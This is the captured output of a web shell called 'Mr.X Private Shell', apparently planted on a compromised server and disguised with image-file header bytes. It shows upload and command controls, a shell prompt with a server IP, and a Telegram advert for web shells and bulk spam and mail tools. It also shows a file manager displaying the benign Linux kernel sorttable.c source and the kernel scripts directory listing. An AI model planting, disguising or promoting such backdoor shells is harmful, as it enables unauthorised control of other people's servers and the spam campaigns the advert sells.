����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
// SPDX-License-Identifier: GPL-2.0-only
/*
 * sorttable.c: Sort the kernel's table
 *
 * Added ORC unwind tables sort support and other updates:
 * Copyright (C) 1999-2019 Alibaba Group Holding Limited. by:
 * Shile Zhang <shile.zhang@linux.alibaba.com>
 *
 * Copyright 2011 - 2012 Cavium, Inc.
 *
 * Based on code taken from recortmcount.c which is:
 *
 * Copyright 2009 John F. Reiser <jreiser@BitWagon.com>.  All rights reserved.
 *
 * Restructured to fit Linux format, as well as other updates:
 * Copyright 2010 Steven Rostedt <srostedt@redhat.com>, Red Hat Inc.
 */

/*
 * Strategy: alter the vmlinux file in-place.
 */

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <getopt.h>
#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

#include <tools/be_byteshift.h>
#include <tools/le_byteshift.h>

#ifndef EM_ARCOMPACT
#define EM_ARCOMPACT	93
#endif

#ifndef EM_XTENSA
#define EM_XTENSA	94
#endif

#ifndef EM_AARCH64
#define EM_AARCH64	183
#endif

#ifndef EM_MICROBLAZE
#define EM_MICROBLAZE	189
#endif

#ifndef EM_ARCV2
#define EM_ARCV2	195
#endif

#ifndef EM_LOONGARCH
#define EM_LOONGARCH	258
#endif

static uint32_t (*r)(const uint32_t *);
static uint16_t (*r2)(const uint16_t *);
static uint64_t (*r8)(const uint64_t *);
static void (*w)(uint32_t, uint32_t *);
static void (*w2)(uint16_t, uint16_t *);
static void (*w8)(uint64_t, uint64_t *);
typedef void (*table_sort_t)(char *, int);

/*
 * Get the whole file as a programming convenience in order to avoid
 * malloc+lseek+read+free of many pieces.  If successful, then mmap
 * avoids copying unused pieces; else just read the whole file.
 * Open for both read and write.
 */
static void *mmap_file(char const *fname, size_t *size)
{
	int fd;
	struct stat sb;
	void *addr = NULL;

	fd = open(fname, O_RDWR);
	if (fd < 0) {
		perror(fname);
		return NULL;
	}
	if (fstat(fd, &sb) < 0) {
		perror(fname);
		goto out;
	}
	if (!S_ISREG(sb.st_mode)) {
		fprintf(stderr, "not a regular file: %s\n", fname);
		goto out;
	}

	addr = mmap(0, sb.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
	if (addr == MAP_FAILED) {
		fprintf(stderr, "Could not mmap file: %s\n", fname);
		goto out;
	}

	*size = sb.st_size;

out:
	close(fd);
	return addr;
}

static uint32_t rbe(const uint32_t *x)
{
	return get_unaligned_be32(x);
}

static uint16_t r2be(const uint16_t *x)
{
	return get_unaligned_be16(x);
}

static uint64_t r8be(const uint64_t *x)
{
	return get_unaligned_be64(x);
}

static uint32_t rle(const uint32_t *x)
{
	return get_unaligned_le32(x);
}

static uint16_t r2le(const uint16_t *x)
{
	return get_unaligned_le16(x);
}

static uint64_t r8le(const uint64_t *x)
{
	return get_unaligned_le64(x);
}

static void wbe(uint32_t val, uint32_t *x)
{
	put_unaligned_be32(val, x);
}

static void w2be(uint16_t val, uint16_t *x)
{
	put_unaligned_be16(val, x);
}

static void w8be(uint64_t val, uint64_t *x)
{
	put_unaligned_be64(val, x);
}

static void wle(uint32_t val, uint32_t *x)
{
	put_unaligned_le32(val, x);
}

static void w2le(uint16_t val, uint16_t *x)
{
	put_unaligned_le16(val, x);
}

static void w8le(uint64_t val, uint64_t *x)
{
	put_unaligned_le64(val, x);
}

/*
 * Move reserved section indices SHN_LORESERVE..SHN_HIRESERVE out of
 * the way to -256..-1, to avoid conflicting with real section
 * indices.
 */
#define SPECIAL(i) ((i) - (SHN_HIRESERVE + 1))

static inline int is_shndx_special(unsigned int i)
{
	return i != SHN_XINDEX && i >= SHN_LORESERVE && i <= SHN_HIRESERVE;
}

/* Accessor for sym->st_shndx, hides ugliness of "64k sections" */
static inline unsigned int get_secindex(unsigned int shndx,
					unsigned int sym_offs,
					const Elf32_Word *symtab_shndx_start)
{
	if (is_shndx_special(shndx))
		return SPECIAL(shndx);
	if (shndx != SHN_XINDEX)
		return shndx;
	return r(&symtab_shndx_start[sym_offs]);
}

/* 32 bit and 64 bit are very similar */
#include "sorttable.h"
#define SORTTABLE_64
#include "sorttable.h"

static int compare_relative_table(const void *a, const void *b)
{
	int32_t av = (int32_t)r(a);
	int32_t bv = (int32_t)r(b);

	if (av < bv)
		return -1;
	if (av > bv)
		return 1;
	return 0;
}

static void sort_relative_table(char *extab_image, int image_size)
{
	int i = 0;

	/*
	 * Do the same thing the runtime sort does, first normalize to
	 * being relative to the start of the section.
	 */
	while (i < image_size) {
		uint32_t *loc = (uint32_t *)(extab_image + i);
		w(r(loc) + i, loc);
		i += 4;
	}

	qsort(extab_image, image_size / 8, 8, compare_relative_table);

	/* Now denormalize. */
	i = 0;
	while (i < image_size) {
		uint32_t *loc = (uint32_t *)(extab_image + i);
		w(r(loc) - i, loc);
		i += 4;
	}
}

static void sort_relative_table_with_data(char *extab_image, int image_size)
{
	int i = 0;

	while (i < image_size) {
		uint32_t *loc = (uint32_t *)(extab_image + i);

		w(r(loc) + i, loc);
		w(r(loc + 1) + i + 4, loc + 1);
		/* Don't touch the fixup type or data */

		i += sizeof(uint32_t) * 3;
	}

	qsort(extab_image, image_size / 12, 12, compare_relative_table);

	i = 0;
	while (i < image_size) {
		uint32_t *loc = (uint32_t *)(extab_image + i);

		w(r(loc) - i, loc);
		w(r(loc + 1) - (i + 4), loc + 1);
		/* Don't touch the fixup type or data */

		i += sizeof(uint32_t) * 3;
	}
}

static int do_file(char const *const fname, void *addr)
{
	int rc = -1;
	Elf32_Ehdr *ehdr = addr;
	table_sort_t custom_sort = NULL;

	switch (ehdr->e_ident[EI_DATA]) {
	case ELFDATA2LSB:
		r	= rle;
		r2	= r2le;
		r8	= r8le;
		w	= wle;
		w2	= w2le;
		w8	= w8le;
		break;
	case ELFDATA2MSB:
		r	= rbe;
		r2	= r2be;
		r8	= r8be;
		w	= wbe;
		w2	= w2be;
		w8	= w8be;
		break;
	default:
		fprintf(stderr, "unrecognized ELF data encoding %d: %s\n",
			ehdr->e_ident[EI_DATA], fname);
		return -1;
	}

	if (memcmp(ELFMAG, ehdr->e_ident, SELFMAG) != 0 ||
	    (r2(&ehdr->e_type) != ET_EXEC && r2(&ehdr->e_type) != ET_DYN) ||
	    ehdr->e_ident[EI_VERSION] != EV_CURRENT) {
		fprintf(stderr, "unrecognized ET_EXEC/ET_DYN file %s\n", fname);
		return -1;
	}

	switch (r2(&ehdr->e_machine)) {
	case EM_386:
	case EM_AARCH64:
	case EM_S390:
	case EM_X86_64:
		custom_sort = sort_relative_table_with_data;
		break;
	case EM_PARISC:
	case EM_PPC:
	case EM_PPC64:
		custom_sort = sort_relative_table;
		break;
	case EM_ARCOMPACT:
	case EM_ARCV2:
	case EM_ARM:
	case EM_LOONGARCH:
	case EM_MICROBLAZE:
	case EM_MIPS:
	case EM_XTENSA:
		break;
	default:
		fprintf(stderr, "unrecognized e_machine %d %s\n",
			r2(&ehdr->e_machine), fname);
		return -1;
	}

	switch (ehdr->e_ident[EI_CLASS]) {
	case ELFCLASS32:
		if (r2(&ehdr->e_ehsize) != sizeof(Elf32_Ehdr) ||
		    r2(&ehdr->e_shentsize) != sizeof(Elf32_Shdr)) {
			fprintf(stderr,
				"unrecognized ET_EXEC/ET_DYN file: %s\n", fname);
			break;
		}
		rc = do_sort_32(ehdr, fname, custom_sort);
		break;
	case ELFCLASS64:
		{
		Elf64_Ehdr *const ghdr = (Elf64_Ehdr *)ehdr;
		if (r2(&ghdr->e_ehsize) != sizeof(Elf64_Ehdr) ||
		    r2(&ghdr->e_shentsize) != sizeof(Elf64_Shdr)) {
			fprintf(stderr,
				"unrecognized ET_EXEC/ET_DYN file: %s\n",
				fname);
			break;
		}
		rc = do_sort_64(ghdr, fname, custom_sort);
		}
		break;
	default:
		fprintf(stderr, "unrecognized ELF class %d %s\n",
			ehdr->e_ident[EI_CLASS], fname);
		break;
	}

	return rc;
}

int main(int argc, char *argv[])
{
	int i, n_error = 0;  /* gcc-4.3.0 false positive complaint */
	size_t size = 0;
	void *addr = NULL;

	if (argc < 2) {
		fprintf(stderr, "usage: sorttable vmlinux...\n");
		return 0;
	}

	/* Process each file in turn, allowing deep failure. */
	for (i = 1; i < argc; i++) {
		addr = mmap_file(argv[i], &size);
		if (!addr) {
			++n_error;
			continue;
		}

		if (do_file(argv[i], addr))
			++n_error;

		munmap(addr, size);
	}

	return !!n_error;
}

Filemanager

Name Type Size Permission Actions
atomic Folder 0755
basic Folder 0755
clang-tools Folder 0755
coccinelle Folder 0755
dtc Folder 0755
dummy-tools Folder 0755
gcc-plugins Folder 0755
gdb Folder 0755
genksyms Folder 0755
include Folder 0755
kconfig Folder 0755
ksymoops Folder 0755
mod Folder 0755
package Folder 0755
selinux Folder 0755
Kbuild.include File 10.24 KB 0644
Kconfig.include File 2.56 KB 0644
Lindent File 506 B 0755
Makefile File 1.74 KB 0644
Makefile.asm-generic File 1.82 KB 0644
Makefile.btf File 1.07 KB 0644
Makefile.build File 17.1 KB 0644
Makefile.clean File 2.02 KB 0644
Makefile.compiler File 2.79 KB 0644
Makefile.dtbinst File 998 B 0644
Makefile.extrawarn File 3.25 KB 0644
Makefile.gcc-plugins File 2.57 KB 0644
Makefile.headersinst File 2.88 KB 0644
Makefile.host File 4.63 KB 0644
Makefile.kasan File 2.45 KB 0644
Makefile.kcov File 333 B 0644
Makefile.kcsan File 1004 B 0644
Makefile.kmsan File 208 B 0644
Makefile.lib File 21.16 KB 0644
Makefile.modfinal File 2.74 KB 0644
Makefile.modinst File 2.39 KB 0644
Makefile.modpost File 4.16 KB 0644
Makefile.package File 6.61 KB 0644
Makefile.randstruct File 410 B 0644
Makefile.ubsan File 837 B 0644
Makefile.userprogs File 1.57 KB 0644
Makefile.vmlinux File 890 B 0644
Makefile.vmlinux_o File 2.54 KB 0644
adjust_autoksyms.sh File 2.11 KB 0755
as-version.sh File 2.05 KB 0755
asn1_compiler File 30.13 KB 0755
asn1_compiler.c File 35.32 KB 0644
bin2c.c File 743 B 0644
bloat-o-meter File 3.36 KB 0755
bootgraph.pl File 5.64 KB 0755
bpf_doc.py File 31.73 KB 0755
cc-can-link.sh File 170 B 0755
cc-version.sh File 1.35 KB 0755
check-sysctl-docs File 4.37 KB 0755
check_extable.sh File 4.93 KB 0755
checkdeclares.pl File 1.1 KB 0644
checkincludes.pl File 1.94 KB 0755
checkkconfigsymbols.py File 15.88 KB 0755
checkpatch.pl File 224.16 KB 0755
checkstack.pl File 5.9 KB 0755
checksyscalls.sh File 7.34 KB 0755
checkversion.pl File 2.15 KB 0755
cleanfile File 3.46 KB 0755
cleanpatch File 5.06 KB 0755
coccicheck File 7.89 KB 0755
config File 4.67 KB 0755
const_structs.checkpatch File 1009 B 0644
decode_stacktrace.sh File 6.56 KB 0755
decodecode File 2.89 KB 0755
depmod.sh File 1.41 KB 0755
dev-needs.sh File 6.08 KB 0755
diffconfig File 4.12 KB 0755
documentation-file-ref-check File 5.6 KB 0755
export_report.pl File 4.49 KB 0755
extract-cert File 14.12 KB 0755
extract-cert.c File 3.63 KB 0644
extract-ikconfig File 1.7 KB 0755
extract-module-sig.pl File 3.65 KB 0755
extract-sys-certs.pl File 3.74 KB 0755
extract-vmlinux File 1.66 KB 0755
extract_xc3028.pl File 44.61 KB 0755
faddr2line File 6.16 KB 0755
file-size.sh File 90 B 0755
find-unused-docs.sh File 1.28 KB 0755
gcc-ld File 715 B 0755
gcc-x86_32-has-stack-protector.sh File 412 B 0755
gcc-x86_64-has-stack-protector.sh File 202 B 0755
gen_autoksyms.sh File 1.4 KB 0755
gen_ksymdeps.sh File 403 B 0755
gen_packed_field_checks.c File 1.19 KB 0644
generate_initcall_order.pl File 5.94 KB 0755
generate_rust_target.rs File 5.26 KB 0644
get_abi.pl File 15.09 KB 0755
get_dvb_firmware File 24.54 KB 0755
get_feat.pl File 14.34 KB 0755
get_maintainer.pl File 67.13 KB 0755
gfp-translate File 1.71 KB 0755
headerdep.pl File 3.5 KB 0755
headers_check.pl File 3.73 KB 0755
headers_install.sh File 3.17 KB 0755
insert-sys-cert.c File 8.87 KB 0644
install.sh File 990 B 0755
jobserver-exec File 2.16 KB 0755
kallsyms File 18.23 KB 0755
kallsyms.c File 20.38 KB 0644
kernel-doc File 66.32 KB 0755
ld-version.sh File 1.67 KB 0755
leaking_addresses.pl File 12.8 KB 0755
link-vmlinux.sh File 8.88 KB 0755
makelst File 812 B 0755
markup_oops.pl File 7.92 KB 0755
min-tool-version.sh File 473 B 0755
mkcompile_h File 2.59 KB 0755
mksysmap File 1.33 KB 0755
mkuboot.sh File 418 B 0755
module.lds File 432 B 0644
module.lds.S File 1.49 KB 0644
modules-check.sh File 431 B 0755
nsdeps File 1.63 KB 0644
objdiff File 2.83 KB 0755
objdump-func File 715 B 0755
pahole-version.sh File 273 B 0755
parse-maintainers.pl File 4.54 KB 0755
patch-kernel File 9.95 KB 0755
profile2linkerlist.pl File 410 B 0755
prune-kernel File 712 B 0755
recordmcount.c File 16.69 KB 0644
recordmcount.h File 19.37 KB 0644
recordmcount.pl File 17.61 KB 0755
remove-stale-files File 1.35 KB 0755
setlocalversion File 3.59 KB 0755
show_delta File 3.01 KB 0755
sign-file File 22.16 KB 0755
sign-file.c File 9.93 KB 0644
sorttable File 22.12 KB 0755
sorttable.c File 7.62 KB 0644
sorttable.h File 12.85 KB 0644
spdxcheck-test.sh File 323 B 0644
spelling.txt File 31.92 KB 0644
sphinx-pre-install File 24.29 KB 0755
split-man.pl File 600 B 0755
stackdelta File 1.84 KB 0755
stackusage File 798 B 0755
subarch.include File 641 B 0644
syscallhdr.sh File 1.89 KB 0755
syscallnr.sh File 1.45 KB 0644
syscalltbl.sh File 1.46 KB 0755
tags.sh File 9.66 KB 0755
test_fortify.sh File 2.23 KB 0644
tools-support-relr.sh File 550 B 0755
unifdef File 34.12 KB 0755
unifdef.c File 34.8 KB 0644
ver_linux File 2.59 KB 0755
xen-hypercalls.sh File 386 B 0644
xz_wrap.sh File 567 B 0755